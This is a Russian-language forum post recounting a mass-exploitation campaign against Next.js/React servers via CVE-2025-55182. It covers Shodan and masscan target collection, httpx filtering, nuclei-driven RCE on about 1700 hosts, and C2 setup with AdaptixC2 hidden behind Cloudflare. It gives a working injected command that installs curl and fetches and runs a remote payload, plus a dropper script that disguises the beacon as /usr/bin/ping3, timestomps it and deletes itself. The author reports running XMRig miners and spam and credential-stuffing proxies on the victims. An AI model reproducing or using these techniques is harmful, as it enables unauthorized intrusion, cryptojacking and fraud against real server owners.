Ничего себе, на самом деле. Огромное количество, непаханное поле... но есть проблема: просто поиск выдаст множество не origin-вариантов, а доменов. Ко многим доменам подключен Cloudflare, а он почти сразу был "научен" блокировать попытки эксплуатировать такое, и без истинного IP-адреса хоста и дополнительно еще и мисконфигураций(например, доступ "прямого характера") нам там делать будет нечего. Сузим поиск:
Скачиваем результаты в свой domains.txt. Шодан удобный, шодан позволяет. Что ж, пора поутюжить это нашей нуклей и новомодным молодежным темплейтиком.
Хопана, какой сытный ужин. Извините за обрезанную фотку, результатов куда больше, но сюда большие фото грузить запрещают.
Ничего сложного: proxychains nuclei -l url.txt -t custom/cve-2025-55182.yml(проксичейнз юзаю, чтобы такой шумихой не зафродить свои прокси и чтобы один адрес не приняли за адрес китайского аптера, отрыгивающего новый ботнет).
Мноооооого потенциальных таргетов(и не меньше ханипотов
Но это лишь так называемый Proof-of-Concept, демонстрация уязвимости. Через id видеть юзеров или создавать флажки через echo "Pwned" > /root/hello.txt создавать неинтересно. Я начал думать о том, как можно получить пользу для себя помимо Bug Bounty - все уже заклацали индусы.
Многие эксплоиты, сделанные на стандартном пайтоновом requests, кривы и каличны. Неадекватно отправляют этот запрос, практически не работают. Потому, просто можно немножко переделать сам темплейт нуклея: нуклей - удобный инструмент, поддерживает длинные команды из нескольких утилит и RCE по этому темплейту он дает.
Но как искать уязвимые объекты? Да, вариантов множество. В целом, для себя я выделил три варианта: ползать по диапазонам, "популярным" среди node-разрабов, мучать шодан и фофу дорками и использовать гугл-доркинг: некст-приложения можно находить через особенные для них структуры веб-директорий. Ссылки, короче говоря. dorks-eye(https://github.com/BullsEye0/dorks-eye)/другие beautifulsoap-базированные решения и proxychains вам в помощь, только проксей почище возьмите, чтобы вас подольше в капчи не уводило.
С Shodan/FOFA все довольно очевидно, думаю, все могут нажать на кнопочку "download results". С доркингом по гуглу я возиться попросту не стал - огромное количество ненужной мороки, дороговизна чистых прокси под такого объема парсинг.
Попробовал третий интересный вариант - посканировать диапазоны. Первым взял довольно популярный, европейский, диапазон:
Первые 5% скана показались какими-то "вялыми". Да, к слову, специально искал 3000-3010 порты, на скрине - скан только с 3к. Они специфичны для особенно уязвимых таких приложений, но в целом просто являются чем-то обыденным для Next.JS и чистого реакта. В итоге результатов насобиралось порядка 140 штук. Скриншот, к сожалению, не сохранился
Тут нет ничего особенно сложного, из полученных результатов вычленяем адреса и прогоняем через httpx-toolkit:
Определяем, разумеется, как цели для себя только тех, у кого не 404 и не 500-ки, и где есть нужные нам реакт и некст.js. Можно собрать все в одну логическую цепочку и автоматизироваться донельзя:
cat targets.txt | httpx-toolkit -td -server -title -sc -mc 200 | grep -E "(Next\.js|React)" | awk '{print $1}' | tee valid.txt
Объяснять, думаю, сильно не надо. Добавили настроечку -mc(match-code), ищем таргетированно только нужные статускоды - хттпх очень продуман для багхантеров, как и вся продукция projectdiscovery. Можно опосля и все завести на nuclei сразу же:
cat valid.txt | proxychains nuclei -c 30 -t путьквашему_темплейту
По итогу собрал результаты масскана и шодана воедино, произвел удаление дубликатов через инструменты линукса "из коробки" - команда sort имбища, и получил широченный лист на 1700 потенциальных целей. На всех из них были подтверждены RCE через наш темплейтик.
Лист внушителен... но что я собрался с ним делать-то сейчас, спросите вы?
Решение пришло в голову быстро: нужно успеть собрать, пока китайцы не изобрели велосипед и не выдвинули решение, которое после "захвата" будет прерывать любые команды вроде curl, wget и так далее, не давая забрать мишень себе. Собрать как можно больше.
Но для начала... немного матчасти, и определимся сразу с киллчейном после этого этапа. Да и знать о нашей поверхности атаки нужно побольше.
Начнем с очень важного момента: приложения с реактом или некстухой чаще всего не разворачиваются "наголо" - мы чаще всего будем сталкиваться с технологиями контейнеризации. У некста/реакта - свой отдельный контейнер, отдельный от бд и голого хоста, разумеется. И это очень важно: массовая охота за бдшками тут не увенчается успехом, если у вас конечно нет офиса.
Контейнеризация? И хорошо, и плохо. Чем же это хорошо, спросите вы меня. А я отвечу так. Вы часто видите админов, которые на полном серьезе и не увиливая от этих обязанностей бегают на хост в docker exec и смотрят прямо все процессы, занимаемые ресурсы ими в частности и вещи вроде сокетов? Ответ простой, нет. И это наше преимущество.
Но и филонить в вопросах пивотинга и установки постоянного доступа не стоит.
Следующий немаловажный момент - многие места, куда приземлится наш маячок, куда прилетает RCE, стоят на альпине. Alpine, такая достаточно неприятная, "обрезанная", даже так обзову, линусь. Во многих образах и нет дефолтных wget/curl/git - ну а зачем? Учтем это в наших планах.
Итого, у меня вышел следующий план. Сначала RCE, потом установка первичного скрипта, который поможет нам установить какой-то beacon. Установить хорошо, даже спрятать.
Принял решение использовать программу AdaptixC2, я фанат опенсорса. Вы можете выбрать то, что удобнее вам. Думаю, вполне очевидно(обговаривалось не раз многими талантливыми ребятами отсюда), что нужно и спрятать наш командный сервер. Я прикупил дешевенький домен с no-KYC платформы в телеграме, повесил на него клаудфлейр и подключил к впске. На впске развернул AdaptixServer - там все делается просто, с одного make.
Единственное что, для нужд "Отсутствия палева" я заменил страницу 404 на свою, чтобы не было пущего палева, что серверок-то непростой. Вот такая красота была у меня:
Каждый может найти такие же странички, и даже стандартный нгинкс-404, на гитхабе. Уже меньше проблем с ресерчерами и любопытными админами. Понятное дело, что и beacon сконфигурировал на HTTP-формат. Чтобы все ходило через реверс-прокси нашего клауда на домене. Не светим нашим сервером, для пущего опсека.
Я предпочитаю работать с RDP, так что установил на один из RDP AdaptixClient, собрав его через Qt:
Прямо на гите адаптикса есть ссылка на их гитбук с документацией. Всем советую к прочтению, много полезного. К настройкам адаптикса более глубоким пока притрагиваться не буду - тема, как мне кажется, для целого отдельного поста. Все заработало, решил, что скачивать маячки и первичный(инициализирующий скачивание полезной нагрузки - маячка) скрипт буду с того же домена хостить. Почему бы и нет? Безопасность всегда хороша.
Как итог, командная инъекция в темплейте с id была заменена на следующий формат:
apk add curl;curl -sf https://x.y.z.m/ccc -o /tmp/update&&chmod +x /tmp/update&&/tmp/update
Просто, действенно, работает. Мы добавляем curl в этот образ, если его нет, потом инициализируем скачивание скрипта, переименовываем его как закос под что-то легитимное, делаем исполняемым, запускаем. Куда интереснее то, что в самом скрипте, не правда ли?
Вот такое я набросал за пару минут в vim и поиспытывал на соседней виртуалке:
Bash:
#!/bin/sh ### стандартная оболочка альпины, ВАЖНО, НЕ БАШ!
PAYLOAD_URL="https://x.y.z.m/next_payload"
SELF="/tmp/update"
curl -sfL "$PAYLOAD_URL" -o /usr/bin/ping3 || exit 1 ### ping3? Выглядит глупо? Не для админа, которому лень листать все обыденные бинари типичного образа с линукс. Ну и не для админа-новичка :)
chmod +x /usr/bin/ping3 ###делаем исполняемым
touch -r /usr/bin/ls /usr/bin/ping3 ###делаем время создания как у одной из классических бинарок линукса, чтобы посложнее было спалить :))
nohup /usr/bin/ping3 > /dev/null 2>&1 & ### запускаем, на альпине есть дефолтный nohup, но с системд-способами пивотинга могут быть проблемы, не все так просто
sleep 3 ### недолго выжидаем, прежде чем ремувнуть скрипт-инсталлятор
rm -f "$SELF" ###удаляем скрипт-инсталлятор
exit 0
Все еще просто? Именно так. Но каков результат... запускаем экспериментально, на первых двух таргетах. Иииииии...
Барабанная дробь...
+2 юзера у нас. Все встает, и мы можем начинать лазить, использовать полученное железо в своих целях, искать соседушек-китайцев(правда, когда они ставят Mirai-подобные закосы под "нормальный малварь", наклепанный с горе-гпт впополам, все попытки скачивания чего-то на хост обрываются. Будете видеть killed, и все).
Цель использования? Да самая разная. Я насобирал довольно много таких серверов, ставил самые разные штуки: от squid под создание прокси на нужды спама и credential stuffing(брута с перебором учеток на чьей-то вебаппке)) и до каких-то XMRig(до сих пор стоит на 19 серверах, полученных во второй же день, до того, как стали плотно разворачивать ханипоты). Мелочь, а приятно!
Кстати говоря, братья-китайцы совсем не ценят это железо, неграмотно пивотятся и абсолютно бездарнейшим образом используют. Вот пример типичного китайца, взявшего дедик:
Ну, телнеты лавовых лампочек и зубных щеток под DDoS сами себя не сбрутят... удачи им в этом деле. Обычно их палили за час-два по безумной нагрузке на сеть(докер же не делает тебя невидимкой, хосту ведь больно)) и на цпу. Но я из вредности убивал их ботнеты, ища через lsof и ps первопричину и ремувая ее, опосля закрывая все "лишние процессы")). Ну, сами виноваты, чего скажу.
Вот такая вот недо-APT операция у меня вышла за пару дней... интересно? Бесспорно. Но не сильно полезно. Хотя и сервера я в первое время решил активно пофармить, развернул целую автоматизированную инфру: сервер-поисковик и сервер-управляющий. Сидишь, пьешь чай, а там:
Надеюсь, что был полезен. Пообщаться, услышать мнение других людей и узнать что-то новое всегда рад... всем удачи и хороших багрепортов)). Делайте ваши страны гораздо защищеннее, чем они есть сейчас. Делайте благие дела для тех, кто будет после вас, peace).